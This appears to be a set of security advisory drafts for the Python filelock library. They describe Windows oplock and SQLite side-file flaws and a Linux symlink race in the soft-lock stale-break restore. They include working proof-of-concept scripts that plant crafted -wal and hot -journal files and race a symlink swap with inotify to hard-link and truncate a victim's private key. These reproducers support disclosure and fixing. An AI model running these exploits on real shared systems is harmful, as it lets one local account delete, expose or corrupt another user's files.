Section [2] of oplock_vm.py acquired soft.lock as the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (oplock granted: True), and ran SoftFileLock(marker, is_singleton=False).acquire(timeout=1) on a thread. The call returned Timeout after 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section [1a] of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (oplock_semantics_vm.py) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create and os.utime by path return at once, so the wait is in the read and the break, not in the create attempt.
Impact
Each acquire() of a soft lock that finds a marker another account holds an oplock on runs past its timeout, blocking=False and cancel_check until the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. With AsyncSoftFileLock(run_in_executor=False) the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, and FileLock is a soft lock on builds without fcntl and after its ENOSYS fallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted.
Workarounds
Keep soft-lock markers in a directory whose ACL grants other accounts no access to new files: a directory inside the user profile, or one with inheritance removed and only the owner, SYSTEM and Administrators granted (icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F"). mode does not do this on Windows.
Run AsyncSoftFileLock with the default executor rather than run_in_executor=False, so that only a worker thread waits.
No timeout, blocking or cancel_check value bounds the wait.
On Windows, ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: <database>-journal, the rollback journal (pages saved to undo an interrupted write); <database>-wal, the write-ahead log (changes kept outside the main file); and <database>-shm, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone DELETE on it, which a file's creator may do. C:\Windows\Temp (the temporary directory of services, granting BUILTIN\Users create but not delete) and C:\Users\Public are such directories.
With a -wal in place, every read_lock() and write_lock() of the user running the lock (below: the lock user) raises sqlite3.OperationalError: disk I/O error at once, whatever timeout says, until that account removes its file; the lock user cannot. With a -journal beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.
AV:L (local): the other account needs a logon on the same host. AC:L (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. PR:L (low privileges): an ordinary account that can create files in the directory is enough. UI:N (no user interaction). S:U (scope unchanged). C:N (no confidentiality impact): the other account learns nothing. I:N (no integrity impact in the scored variant): see the scoring note. A:L (partial availability impact): every acquire fails with an exception that Timeout handlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed.
Scoring note. The deletion variant reads CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L (3.6): I:L because the lock user's process deletes one file the journal names, AC:H because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every ReadWriteLock on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: security (another account), availability for the scored variant.
Scope and preconditions
Platform and classes: Windows only. ReadWriteLock and AsyncReadWriteLock, both of which connect through _connect. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8.
Directory: one where another account can create files but cannot delete the lock user's. C:\Windows\Temp carries BUILTIN\Users:(CI)(S,WD,AD,X) (create file and create subdirectory, no delete child); C:\Users\Public and any directory with such an entry qualify. A directory only the lock user can write, such as %LOCALAPPDATA% or the per-user temporary directory, is not affected.
The other account creates <database>-wal, grants everyone modify and denies everyone DELETE on it. A file's creator may set both. The lock user can open and read the file but not delete it.
Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review's reproducer has the lock account create the table), and the other account's <database>-journal grants the lock account modify rights. The journal's tail names a file the lock user can delete.
What the lock user sees: write_lock(timeout=1) raised sqlite3.OperationalError: disk I/O error with the undeletable -wal in place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raised sqlite3.OperationalError: unable to open database file.
The documentation at the scanned commit states "the lock directory must not be writable by untrusted users" for WindowsFileLock, in its symlink paragraph; the ReadWriteLock documentation names no directory requirement on Windows.
cfd4446 "feat(lock): add SQLite-based ReadWriteLock" (#399, 2026-02-12), first tag 3.20.4 (verified with git tag --contains), passed the lock path to sqlite3.connect on every platform. The Linux descriptor route (4.0.9) and the macOS hard-link route (4.1.1) did not change Windows, where the connect has been by name in every release since. The reproducer ran against the head of PR #834 at 1f9e415, whose Windows branch of _connect is the same code as at b831496b0273.
Mechanism
_connect on Windows opens the database with _open_non_reparse_fd, checks through that handle that the file is a regular file, not a reparse point, and that its header does not declare WAL mode, and keeps the handle open while sqlite3.connect(database) opens the same name. The check covers the database, not the names beside it. On the first statement, PRAGMA journal_mode=MEMORY, SQLite takes its first lock on the database and looks for <database>-wal. A non-empty -wal beside a database that is not in WAL mode is a leftover SQLite deletes. The other account's file denies DELETE, so the pragma raises SQLITE_IOERR_DELETE, which reaches the caller as sqlite3.OperationalError: disk I/O error. _do_acquire_inner converts only "database is locked" into Timeout, so acquire_read(), acquire_write() and the async forms raise at once, on every call, until the file is gone. The lock user has no right to delete it.
The journal variant needs a database with content. Beside a non-empty database SQLite treats a <database>-journal with a valid header as hot (left by an interrupted write) and replays it before the first statement runs. The review's journal is 46 bytes: a file path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. That tail names a super-journal, and recovery ends by deleting the file it names. The lock user's write_lock() therefore deletes one file the other account chose, provided the lock user can delete it, and returns without error. SQLite opens a hot journal for writing, so the other account's journal must grant the lock account modify rights; a read-only journal makes every acquire raise sqlite3.OperationalError: unable to open database file instead. GHSA-v4x8-3wr5-3wq8 describes the same side-file behavior on POSIX, where the sticky bit plays the part the directory ACL plays here.
Reproduction
The review's reproducer, quoted as received except for the second account's password on line 2, replaced by <password>. It ran on a Windows 11 VM (NTFS, CPython 3.14, SQLite 3.53.1) against the head of PR #834 at 1f9e415, as the administrator account bernat, which stands in for the other account that creates the side files; the lock account is fltester, a member of Users, whose database lives in C:\Windows\Temp.
win_two_accounts.py
##### Run from /tmp/claude-1000/-home-bernat-git-filelock-filelock-main/3ccf38c2-14f9-4acc-a05f-18230504d7cd/scratchpad/review4/D/834 (the script is staged there):##### winvm up && winvm sync && winvm run "python3.14 -I win_two_accounts.py . fltester '<password>'"##### which runs, as the administrator account on the VM:##### python3.14 -I win_two_accounts.py <worktree> <second-user> <password>##### The second (non-administrator) account is the lock user. Its database lives in C:\Windows\Temp, where every account##### may create files but not delete another account's. This administrator account stands in for the other account that##### plants SQLite side files there: it creates them, grants everyone read, and denies everyone delete, all of which the##### file's creator may do.importctypesimportosimportpathlibimportsqlite3importstructimportsubprocessimportsysfromctypesimportwintypessys.path.insert(0,sys.argv[1]+"/src")fromfilelockimportReadWriteLockuser,password=sys.argv[2],sys.argv[3]base=pathlib.Path(os.environ["SYSTEMROOT"])/"Temp"icacls=os.path.join(os.environ["SYSTEMROOT"],"System32","icacls.exe")tag=f"rw834-{os.getpid()}"advapi32=ctypes.WinDLL("advapi32",use_last_error=True)advapi32.LogonUserW.argtypes=[wintypes.LPCWSTR,wintypes.LPCWSTR,wintypes.LPCWSTR,wintypes.DWORD,wintypes.DWORD,ctypes.POINTER(wintypes.HANDLE)]advapi32.GetUserNameW.argtypes=[wintypes.LPWSTR,ctypes.POINTER(wintypes.DWORD)]token=wintypes.HANDLE()ifnotadvapi32.LogonUserW(user,".",password,3,0,ctypes.byref(token)):raisectypes.WinError(ctypes.get_last_error())defcurrent_user()->str:size=wintypes.DWORD(256)buffer=ctypes.create_unicode_buffer(size.value)advapi32.GetUserNameW(buffer,ctypes.byref(size))returnbuffer.valuedefas_lock_user(action):ifnotadvapi32.ImpersonateLoggedOnUser(token):raisectypes.WinError(ctypes.get_last_error())try:returnaction()finally:advapi32.RevertToSelf()defplant(path:pathlib.Path,data:bytes,*,deletable:bool)->None:path.write_bytes(data)subprocess.run([icacls,str(path),"/grant","*S-1-1-0:(M)"],check=True,capture_output=True)ifnotdeletable:subprocess.run([icacls,str(path),"/deny","*S-1-1-0:(D)"],check=True,capture_output=True)defacquire(db:pathlib.Path)->str:try:withReadWriteLock(db,is_singleton=False).write_lock(timeout=1):passexceptExceptionaserror:returnf"acquire failed: {type(error).__name__}: {error}"return"acquired"defhot_journal(super_journal:pathlib.Path)->bytes:name=os.fsencode(str(super_journal))returnname+struct.pack(">II",len(name),sum(name))+bytes.fromhex("d9d505f920a163d7")print("planting account:",current_user(),"| lock account:",as_lock_user(current_user))db=base/f"{tag}-empty.db"as_lock_user(lambda:db.touch())plant(pathlib.Path(f"{db}-wal"),b"\0"*32,deletable=False)print("empty database, undeletable -wal:",as_lock_user(lambda:acquire(db)),"| -wal still exists:",pathlib.Path(f"{db}-wal").exists())fordeletablein(True,False):db=base/f"{tag}-tables-{deletable}.db"notes=base/f"{tag}-notes-{deletable}.txt"defprepare()->None:withsqlite3.connect(db)asconnection:connection.execute("CREATE TABLE application (value)")connection.close()notes.write_text("keep")as_lock_user(prepare)plant(pathlib.Path(f"{db}-journal"),hot_journal(notes),deletable=deletable)print(f"database with a table, {'deletable'ifdeletableelse'undeletable'} -journal naming the lock account's file:",as_lock_user(lambda:acquire(db)),"| named file still exists:",notes.exists(),"| -journal still exists:",pathlib.Path(f"{db}-journal").exists())
Recorded output on the VM:
planting account: bernat | lock account: fltester
empty database, undeletable -wal: acquire failed: OperationalError: disk I/O error | -wal still exists: True
database with a table, deletable -journal naming the lock account's file: acquired | named file still exists: False | -journal still exists: False
database with a table, undeletable -journal naming the lock account's file: acquire failed: OperationalError: unable to open database file | named file still exists: True | -journal still exists: True
Failure sequence
flowchart TD
P["other account: create lock.db-wal (or lock.db-journal) beside lock.db in C:/Windows/Temp, grant everyone modify, deny everyone DELETE"] --> C["lock user: ReadWriteLock(lock.db).write_lock(timeout=1)"]
C --> O["_open_lock_database checks the handle: regular file, no reparse point, header not WAL"]
O --> S["sqlite3.connect(lock.db) by path, then PRAGMA journal_mode=MEMORY"]
S -- "empty database, undeletable -wal" --> E1["SQLite cannot delete the leftover -wal: OperationalError disk I/O error on every acquire, timeout not consulted"]
S -- "database with a table, writable -journal" --> E2["SQLite treats the journal as hot, replays it and deletes the file its tail names, acquire succeeds"]
S -- "database with a table, read-only -journal" --> E3["OperationalError unable to open database file on every acquire"]
classDef ok fill:#d8f3dc,stroke:#​2d6a4f,color:#​1b4332;
classDef bad fill:#ffd6d6,stroke:#c1121f,color:#​5c0000;
classDef info fill:#cfe4ff,stroke:#​1f6feb,color:#​0b1f3a;
class P,C,O,S info;
class E1,E2,E3 bad;
Evidence
The reproducer printed the three lines above on the VM: the undeletable -wal beside an empty database made write_lock(timeout=1) fail with OperationalError: disk I/O error and left the file in place; the writable journal beside a database with one table let the acquire succeed while the file the journal named, created by the lock account with the content keep, was gone along with the journal; the read-only journal made the acquire fail with OperationalError: unable to open database file and left both files. The review notes that the Windows branch of _connect is unchanged since #399, so the behavior is the same at b831496b0273 and in 4.2.0. The scanner and the maintainers measured the same side-file effects on Linux for GHSA-v4x8-3wr5-3wq8.
Impact
In a directory such as C:\Windows\Temp, another local account turns every read_lock() and write_lock() on a ReadWriteLock database into an immediate sqlite3.OperationalError, for as long as its file stays. Callers that handle Timeout or OSError do not catch it, and the lock user cannot remove the file. With a lock database that holds a table and a journal the lock user can write, the lock user's process deletes one file of the other account's choosing, among the files the lock user may delete, and the acquire reports success. The lock's own database is not changed, nothing is read, and mutual exclusion between processes that acquire the lock holds.
Workarounds
Keep the ReadWriteLock database in a directory other accounts cannot create files in: %LOCALAPPDATA%, the per-user temporary directory (%TEMP% of a user session), or a directory with inheritance removed and only the owner, SYSTEM and Administrators granted. C:\Windows\Temp and C:\Users\Public do not qualify.
Treat sqlite3.OperationalError: disk I/O error on every acquire as a foreign <database>-wal beside the database, which only its creator or an administrator can remove.
Found by the maintainers while reviewing the fix for the POSIX form of this defect, GHSA-v4x8-3wr5-3wq8, reported by Anthropic's OSS Scanner on 15 October 2026 (review round 4, set D, finding F2).
2026-10-15 23:08 UTC: report received (36 findings; the Windows side-file effect is not among them)
2026-10-16 01:15 UTC: PR #834 opened, for the POSIX routes
2026-10-16 08:31 UTC: finding identified in the maintainers' review of PR #834
filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory
When a soft-lock stale break finds that the marker (the lock file at <path>) it renamed aside was a live one recreated by a successor, the restore branch of break_lock_file() checks the break name with lstat (a check that reads a name without following a symbolic link) and then calls os.link(break_path, lock_file) by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.
The SoftFileLock, MarkerSoftFileLock, SoftFileLease or lifetime break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that fs.protected_hardlinks (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later FileLock of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding ANT-2026-SB29HIAL).
AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's process acts on its own. C:L (low confidentiality impact): the file's metadata through the new name, not its content. I:H (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own FileLock truncated the 17-byte private file to 0 bytes and, with a permissive mode, would have changed its mode too. A:N (no availability impact): the lock keeps working.
Classification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when lstat runs, not one swapped in after it.
Scope and preconditions
The other user can write the lock directory, and it has no sticky bit: a 0777 or group-writable cache or project directory. In a root-owned 1777 directory the unprivileged lock user cannot rename the other user's marker and only waits. In a 1777 directory the lock user owns, fs.protected_symlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the link fail with EACCES (permission denied). Testing showed no effect in sticky directories.
The interpreter's os.link follows symbolic links. CPython 3.14 on Linux issues linkat(..., AT_SYMLINK_FOLLOW). CPython 3.11 issues link(2), which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS link(2) follows (confirmed in our review on macOS 27.0.1: a plain os.link of a symbolic link gave the target st_nlink 2, that is two names).
The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.
Every soft-lock path reaches the branch: SoftFileLock, MarkerSoftFileLock, SoftFileLease and the lifetime break. The native FileLock does not, but it is the consumer that turns the planted link into a truncation.
filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.
fc73fc51e137 ("fix(soft): restore a live marker a stale break moved aside", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.
The S_ISREG test (is it a regular file) is about what lstat saw on line 117, not about what link resolves on line 121. The docstring says the code must not put a symbolic link back "because link would follow a symlink to its target", and the test at the scanned commit names the consequence ("publish the victim file's inode at the lock path"), but that test only covers a symbolic link that is already there when lstat runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass follow_symlinks=False where the runtime honours it; this one does not. An strace (a tool that logs a process's system calls) on CPython 3.14.8 shows os.link(a, b) as linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW).
The other user plays both the stale holder and the "successor" the branch exists for:
The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and _exits). The lock user's _try_break_stale_lock() reads it and owner_is_stale() agrees, so break_lock_file() renames it to app.lock.break.<pid>.<token>. In a directory without the sticky bit the lock user may rename a file it does not own.
The other user still owns that file and gives it a newer mtime (modification time) after the lstat on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.
The other user renames a symbolic link to the lock user's private file over the break name.
Line 121 resolves the link with the lock user's credentials, so app.lock becomes a second hard link to the private file. Line 122 removes the symbolic link.
The other user's own os.link() on the private file fails with EACCES (it cannot enter the 0700 directory). On a file of the lock user it can reach, fs.protected_hardlinks=1 answers EPERM (operation not permitted). The lock user would evict the odd "marker" after MALFORMED_LOCK_AGE_THRESHOLD (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the lstat on line 113 and the one on line 117 (half of it the rename), and about 2 µs between line 117 and the os.link() call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.
Reproduction
The scanner's reproducer for finding ANT-2026-SB29HIAL, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
repro
#!/usr/bin/env python3importosimportshutilimportsubprocessimportsyssys.stdout.reconfigure(line_buffering=True)SHARED_DIR="/tmp/shared-locks"LOCK_PATH=SHARED_DIR+"/app.lock"PRIVATE_DIR="/home/victim/private"KEY_PATH=PRIVATE_DIR+"/signing.key"AS_VICTIM={"user":"victim","group":"victim","extra_groups":[]}AS_ATTACKER={"user":"attacker","group":"attacker","extra_groups":[]}##### strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before##### linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).SLOWED_DOWN=["strace","-o","/dev/null","-P",LOCK_PATH,"-e","trace=rename,linkat"]SLOWED_DOWN+=["-e","inject=rename:delay_exit=2000000","-e","inject=linkat:delay_enter=2000000"]##### set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bitshutil.rmtree(PRIVATE_DIR,ignore_errors=True)os.mkdir(PRIVATE_DIR,0o700)withopen(KEY_PATH,"w")askey_file:key_file.write("0123456789abcdef\n")os.chmod(KEY_PATH,0o600)shutil.chown(PRIVATE_DIR,"victim","victim")shutil.chown(KEY_PATH,"victim","victim")shutil.rmtree(SHARED_DIR,ignore_errors=True)os.mkdir(SHARED_DIR)os.chmod(SHARED_DIR,0o777)key_before=os.stat(KEY_PATH)print(f"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}")forknobin("protected_hardlinks","protected_symlinks"):print(f"fs.{knob} =",open(f"/proc/sys/fs/{knob}").read().strip())##### control: the attacker cannot give the key a name in the shared directory by itselflink_by_attacker=f"import os; os.link({KEY_PATH!r}, {SHARED_DIR+'/by-attacker'!r})"control=subprocess.run([sys.executable,"-c",link_by_attacker],capture_output=True,text=True,**AS_ATTACKER)print("CONTROL the attacker's own link() of the key:",control.stderr.strip().splitlines()[-1])##### attack: the victim takes an ordinary SoftFileLock while the attacker works on the break namesubprocess.run([sys.executable,"/tmp/repro.d/plant_stale_marker.py",LOCK_PATH],check=True,**AS_ATTACKER)attacker=subprocess.Popen([sys.executable,"/tmp/repro.d/swap_break_name.py",LOCK_PATH,KEY_PATH],**AS_ATTACKER)victim_job=[*SLOWED_DOWN,sys.executable,"/tmp/repro.d/victim_job.py",LOCK_PATH]subprocess.run(victim_job,check=True,timeout=60,**AS_VICTIM)assertattacker.wait(timeout=30)==0,"the attacker did not get through its steps"##### check, as root: does the key now have a name in the shared directory?key_after=os.stat(KEY_PATH)names_of_the_key=[namefornameinos.listdir(SHARED_DIR)ifos.path.samestat(key_after,os.lstat(f"{SHARED_DIR}/{name}"))]print(f"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}")ifnames_of_the_key:# what that name is good for: another program of the victim takes a FileLock there, which truncates the fileshared_name=f"{SHARED_DIR}/{names_of_the_key[0]}"victim_other_job=[sys.executable,"/tmp/repro.d/victim_other_job.py",shared_name]subprocess.run(victim_other_job,check=True,timeout=60,**AS_VICTIM)print(f"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})")print("BUG"ifcontrol.returncode!=0andnames_of_the_keyelse"OK")
repro.d/plant_stale_marker.py
importosimportsysfromfilelockimportSoftFileLock##### a genuine marker of a holder that died: a child takes the lock and exits without releasing itif(child:=os.fork())==0:holder=SoftFileLock(sys.argv[1])# kept referenced: a collected lock releases itselfholder.acquire()os._exit(0)os.waitpid(child,0)print("attacker: left",sys.argv[1],"held by pid",child,"which has exited",flush=True)
repro.d/swap_break_name.py
importglobimportosimportsysimporttimelock_path,key_path=sys.argv[1:]kept_path=os.path.join(os.path.dirname(lock_path),"other.lock")##### the victim judged the marker stale and renamed it to <lock>.break.<pid>.<random>; anyone can list the directorydeadline=time.monotonic()+30whilenot(break_paths:=glob.glob(lock_path+".break.*")):asserttime.monotonic()<deadline,"the victim never moved the marker aside"time.sleep(0.01)[break_path]=break_pathsprint("attacker: the victim renamed the marker to",os.path.basename(break_path),flush=True)##### still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore itos.utime(break_path)time.sleep(3)# repro holds the victim 2 s before its lstat of the break name and 2 s more before its linkos.symlink(key_path,lock_path+".symlink")os.rename(lock_path+".symlink",break_path)print("attacker: replaced",os.path.basename(break_path),"with a symlink to",key_path,flush=True)##### the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another namedeadline=time.monotonic()+5whilenotos.path.lexists(lock_path)andtime.monotonic()<deadline:time.sleep(0.01)try:os.rename(lock_path,kept_path)print("attacker: renamed",os.path.basename(lock_path),"to",kept_path,flush=True)exceptFileNotFoundError:print("attacker: the victim linked nothing at",os.path.basename(lock_path),flush=True)
repro.d/unpaused_attacker.py
#!/usr/bin/env python3"""Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses."""importctypesimportosimportrandomimportstructimportsysimporttimefromfilelockimportSoftFileLocklock_path,victim_file,kept_name=sys.argv[1:]os.chdir(os.path.dirname(lock_path))lock_name=os.path.basename(lock_path).encode()IN_NONBLOCK,IN_CLOSE_NOWRITE,IN_MOVED_TO=0o4000,0x10,0x80defspin(microseconds):until=time.perf_counter()+microseconds/1e6whiletime.perf_counter()<until:pass##### The bytes of a genuine marker of a dead process.ifos.fork()==0:crashed_holder=SoftFileLock(lock_path)crashed_holder.acquire()os._exit(0)os.wait()withopen(lock_name,"rb")asmarker_file:stale_marker=marker_file.read()os.unlink(lock_name)libc=ctypes.CDLL(None)inotify=libc.inotify_init1(IN_NONBLOCK)libc.inotify_add_watch(inotify,b".",IN_MOVED_TO)marker_mtime=1_000_000_000lock_cycles=0whileTrue:lock_cycles+=1os.symlink(victim_file,b"symlink")marker=os.open(b"staged",os.O_CREAT|os.O_EXCL|os.O_WRONLY,0o644)os.write(marker,stale_marker)os.utime(marker,(marker_mtime,marker_mtime))marker_watch=libc.inotify_add_watch(inotify,b"staged",IN_CLOSE_NOWRITE)whileTrue:# plant it as soon as the victim has released the locktry:os.link(b"staged",lock_name)breakexceptFileExistsError:passos.unlink(b"staged")break_name=Nonewhilebreak_nameisNone:try:events=os.read(inotify,4096)exceptBlockingIOError:continuewhileeventsandbreak_nameisNone:_,mask,_,name_length=struct.unpack_from("iIII",events)name=events[16:16+name_length].rstrip(b"\0")events=events[16+name_length:]ifmask&IN_CLOSE_NOWRITE:# The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes# before that lstat only makes the victim start over on its next poll.spin(random.uniform(40,100))marker_mtime+=1os.utime(marker,(marker_mtime,marker_mtime))elifname.startswith(lock_name+b".break."):# The victim has renamed the marker and is about to lstat the break name and link it back.os.rename(b"symlink",name)break_name=namelibc.inotify_rm_watch(inotify,marker_watch)os.close(marker)time.sleep(0.001)try:at_lock_path=os.lstat(lock_name)ifat_lock_path.st_uid!=os.getuid()andat_lock_path.st_nlink==2:os.rename(lock_name,kept_name)print(f"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:",at_lock_path)breakexceptFileNotFoundError:passforleftoverin(b"symlink",break_name):ifos.path.lexists(leftover):os.unlink(leftover)try:os.read(inotify,65536)exceptBlockingIOError:pass
repro.d/unpaused_victim.py
#!/usr/bin/env python3"""Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody."""importsysimporttimefromfilelockimportSoftFileLocklock=SoftFileLock(sys.argv[1])whileTrue:withlock:time.sleep(0.005)time.sleep(0.005)
sequenceDiagram
participant X as other local user (uid 1001)
participant D as /tmp/shared-locks (0777, not sticky)
participant V as SoftFileLock of the lock user (uid 1000)
participant K as ~victim/private/signing.key (0600 in a 0700 dir)
X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X
V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*
rect rgb(255, 214, 214)
X->>D: inotify sees the rename: utime the break file (newer mtime)
V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker
X->>D: rename a symbolic link to signing.key over the break name
V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file
X->>D: rename app.lock to other.lock before the 2 s eviction
Note over V,K: the lock user's FileLock("other.lock") on 4.2.0 truncates the file to 0 bytes
end
Evidence
The scanner's reproducer takes about 5 s and is deterministic. Root creates /home/victim/private (0700) with signing.key (17 bytes, 0600) and /tmp/shared-locks (0777, no sticky bit), with fs.protected_hardlinks = 1 and fs.protected_symlinks = 1. In the control step, the attacker account runs os.link(key, /tmp/shared-locks/by-attacker) and gets Permission denied. Then the attacker child leaves app.lock held by pid 253 which has exited. The victim account runs with SoftFileLock(path) under strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000, which holds it 2 s after its rename() and 2 s before its linkat() without changing any call. The attacker account bumps the break file, swaps in the symbolic link, and renames app.lock to other.lock.
The result line reads signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock'], and after the victim account's second program takes FileLock('/tmp/shared-locks/other.lock'), size=0. Verdict BUG. The unpaused variant (unpaused_victim.py looping on the lock, unpaused_attacker.py timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).
Our review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain os.link of a symbolic link follows it (target st_nlink 2) while follow_symlinks=False links the symbolic link itself, which confirms the report's macOS note.
Impact
A local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what fs.protected_hardlinks exists to deny, a name it can move around for someone else's file.
Whatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. UnixFileLock._finalize_locked_fd() ran os.ftruncate(fd, 0) on whatever regular file O_NOFOLLOW let it open. The other user moved the link to other.lock, the lock user took FileLock("other.lock"), and the 17-byte private file became 0 bytes. The other user can also move the link into sticky /tmp on the same filesystem before the lock user locks it there, and a FileLock with a permissive mode such as 0o666 applied that mode to the private file too, after which the other user could write its content.
On its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.
Workarounds
Keep soft locks out of directories other users can write without the sticky bit; a 0700 directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native FileLock on a name another user controls.
ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) remove their private .filelock-* link directories with shutil.rmtree (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable /proc/self/fd (a Linux path that names the process's own open files), such as a chroot or container that does not mount /proc.
Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with /proc mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.
Anthropic's OSS Scanner reported this in private as ANT-2026-LSSZIUEO [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.
Severity
